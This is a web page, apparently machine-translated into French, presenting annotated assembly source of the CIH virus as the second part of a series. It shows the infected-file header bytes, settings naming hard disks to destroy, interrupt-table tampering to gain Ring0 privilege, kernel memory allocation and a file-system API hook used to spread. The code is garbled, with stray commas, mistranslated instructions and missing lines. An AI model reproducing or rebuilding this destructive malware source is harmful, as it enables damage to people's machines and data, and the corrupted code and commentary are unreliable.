Analyse d'exemples de codes sources de programmes antivirus-virus CIH[2]
SEGMENT OriginalAppEXE
;PE格式可执行文件文件头
En-tête de fichier :
db 04dh, 05ah, 090h, h, 003h, 000h, 000h, 000h
db 004h, 000h , 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, , 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h,
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh 00, 0h, 0b4h, 009h, 0cdh
db 021h , 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db , 06dh, 020h, 063h, 061h, 06eh, 06eh , 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 053h, , 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 00, 0h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h , 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 0h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, , 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h,
db 000h, 000h, 000h, 000h, 002h , 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 00, 0h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db , 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, , 000h
db 000h, 000h, 000h, 000h , 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000, 0h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h
d, b 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, , 000h, 000h
db 000h, 000h, 000h , 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 00, 0h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, , 000h, 000h, 000h
db 000h, 000h , 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 00, 0h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h,
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, , 000h, 000h, 000h, 000h
db 000h , 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 00 0h, 000h, 000h, 000h, 000h, 000h, 000h , 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 00, 0h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize
OriginalAppEXE ENDS
; 病毒程序开始
TRUE = 1
FALSE = 0
DEBUG = FALSE
;标识其版本号1 .4版
MajorVirusVersion = 1 ;主版本号
MinorVirusVersion = 4 ;次版本号
VirusVersion = MajorVirusVersion*10h MinorVirusVersion ;合成版本号
IF DEBUG ;是否调试
IF DEBUG ; illHardDiskNumber = 81h ;破坏D盘
HookExceptionNumber = 05h ; Utiliser l'interruption numéro 5
ELSE
FirstKillHardDiskNumber = 80h ; Détruire le lecteur C
HookxceptionNumber = 03h ; Utiliser l'interruption numéro 3
ENDIF
FileNameBufferSize = 7fh
; Le segment de code de virus commence
SEGMENT VirusGame
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
> MyVirusStart :
push ebp
; Modifier la gestion des exceptions système pour éviter de générer des messages d'erreur
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax , fs : [ebx]
call @0
@0 :
pop ebx; Obtenez le décalage de départ du programme et utilisez ce décalage relatif pour obtenir l'adresse absolue
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
; Modifier le tableau de description d'interruption pour obtenir l'autorisation de niveau Ring0 la plus élevée
push eax
sidt [esp- 02h] ; Obtenir l'adresse de base de la table de description de l'interruption vers ebx
pop ebx ;
add ebx, HookExceptionNumber*08h 04h ; Calculer l'adresse de base de l'interruption à utiliser pour ebx
cli ;Désactiver les interruptions avant de modifier
mov ebp, [ebx] ;Obtenir l'adresse de base de la gestion des exceptions
mov bp, [ebx-04h] ;Obtenir l'entrée
lea esi, MyExceptionHook-@1[ecx]
push esi; esi est l'adresse de la routine d'interruption du virus
mov [ebx-04h], si
shr esi, 16 ; exception
mov [ebx 02h], si; Modifier l'adresse de base de l'interruption pour pointer vers la routine d'interruption virale
pop esi
Générer une exception qui entre au niveau ring0
int; HookExceptionNumber; En guise d'interruption Entrez le niveau Ring0
ReturnAddressOfEndException = $
; Fusionner tous les codes de virus
push esi
mov esi, eax ;esi pointe vers le début du virus
; Boucle de réplication
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb ; Copiez le code du virus à la première adresse de la mémoire système allouée
sub eax, 08h
mov esi, [eax]
ou esi, esi
jz QuitLoopOfMergeAllVirusCodeSection; ZF = 1
jmp LoopOfMergeAllVirusCodeSection;Copiez la section suivante
QuitLoopOfMergeAllVirusCodeSection : esi
int HookExceptionNumber
🎜>; Enregistrer la gestion des exceptions
ReadyRestoreSE :
sti ; Démarrer l'interruption
Arrêtera de s'exécuter et passera directement au programme d'origine
StopToRunVirusCode :
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [ eax]
RestoreSE :
pop dword ptr fs :[ebx]
pop eax
; Passer au programme d'origine et exécuter normalement
pop ebp
Push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; le programme d'origine sur la pile
ret ; Retour au début du programme d'origine sous forme de sous-programme return
; Module d'initialisation du virus
MyExceptionHook :
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook ; Si le code du virus a été copié
; Accédez au programme pour installer le hook système
mov ecx, dr0 ; Vérifiez si dr0 a été défini (dr0 est l'indicateur de résidence du virus)
jecxz AllocateSystemMemoryPage ; S'il n'est pas défini, allouer la mémoire système
ajouter dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
; Retour Aller au programme d'origine
ExitRing0Init :
mov [ebx- 04h], bp ;
shr ebp, 16 ; Restaurer l'exception
mov [ebx 02h], bp ; Restaurer l'adresse de base de l'interruption d'origine
Retour d'interruption
; la mémoire système à utiliser
AllocateSystemMemoryPage:
mov dr0, ebx ; Définir l'indicateur résident du virus dr0
push 00000000fh
push ecx
push 0ffffffffh
push ecx ; méthode ULONG EXTERN _PageAllocate(ULONG nPages,
,ULONG flags);
push ecx;
push ecx;dd 00010053h ; Utiliser les registres eax, ecx, edx et flags
Ajouter esp, 08h*04h ; Restaurer le pointeur de pile
xchg edi, eax ; pointe vers la première adresse de la mémoire système allouée
lea eax , MyVirusStart-@2[esi] ;eax pointe vers le début du virus
iretd ;Interruption de sortie
; Initialiser le hook du système de fichiers
InstallMyFileSystemApiHook :
lea eax , FileSystemApiHook-@6 [edi] ; Pointez sur la première adresse du programme de hook du système de fichiers
push eax;
int 20h; Vxd appelle IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $
dd 00400 067h ; Utilisez eax, ecx, edx et flags register
mov dr0, eax; Enregistrez la première adresse du programme de hook du système de fichiers d'origine dans dr0
pop eax est égal à la première adresse du programme de hook du système de fichiers
; Enregistrez l'entrée d'appel de fonction IFSMgr_InstallFileSystemApiHook d'origine
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ;edx est l'entrée de IFSMgr_InstallFileSystemApiHook
mov OldInstallFileSystemApiHook-@3[ eax], edx
; Modifier l'entrée IFSMGR_INSTALLFILESYSTEMAPIHOOK
Lea Eax, InstallfileSystemapihook-@3 [Eax]
MOV [ECX], Eax
;
Ce qui précède est le contenu de l'exemple d'analyse du code source du programme antivirus-virus CIH [2]. Pour plus de contenu connexe, veuillez faire attention au site Web PHP chinois (www.php.cn). )!